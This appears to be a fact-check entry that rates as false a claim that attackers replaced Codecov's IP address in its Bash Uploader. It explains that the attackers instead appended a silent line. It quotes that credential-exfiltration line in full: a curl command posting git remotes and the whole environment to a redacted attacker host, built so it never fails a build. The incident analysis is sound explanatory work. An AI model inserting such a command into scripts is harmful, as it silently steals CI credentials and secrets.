The attackers replaced Codecov's IP address in the Bash Uploader
Assessment
The mechanism described is not what happened, though the outcome described is real. The code Codecov published, and which Rapid7 reproduced independently, is an addition to the script rather than a substitution: curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" https://<redacted>/upload/v2 || true Nothing was replaced. The uploader continued posting coverage reports to Codecov normally, and the added line sent a second copy of the environment to attacker infrastructure alongside it. The distinction is the whole explanation for the incident's duration. Had Codecov's own endpoint been substituted, coverage reports would have stopped arriving — a visible, immediate failure that customers and Codecov would both have noticed within days. Because the malicious line was additive, silent, capped at 500 milliseconds and terminated with `|| true` so it could never fail a build, there was no symptom to observe. Sixty days of undetected collection is a direct consequence of the mechanism being an addition, and describing it as a substitution removes the reason the attack worked.
Where this claim appeared
Sonatype · 2021-04-20
https://www.sonatype.com/blog/what-you-need-to-know-about-the-codecov-incident-a-supply-chain-attack-gone-undetected-for-2-monthsWhat “False” means
Contradicted by primary sources. Reserved for claims checked directly against the authoritative record — an advisory that does not exist, a catalogue that does not list the entry, a directive that says something other than what is reported.
1 of 5 · rating scale
Assessed in
Codecov Bash Uploader Compromise: 60 Days of Silent CI Credential TheftThink this assessment is wrong? Report an error.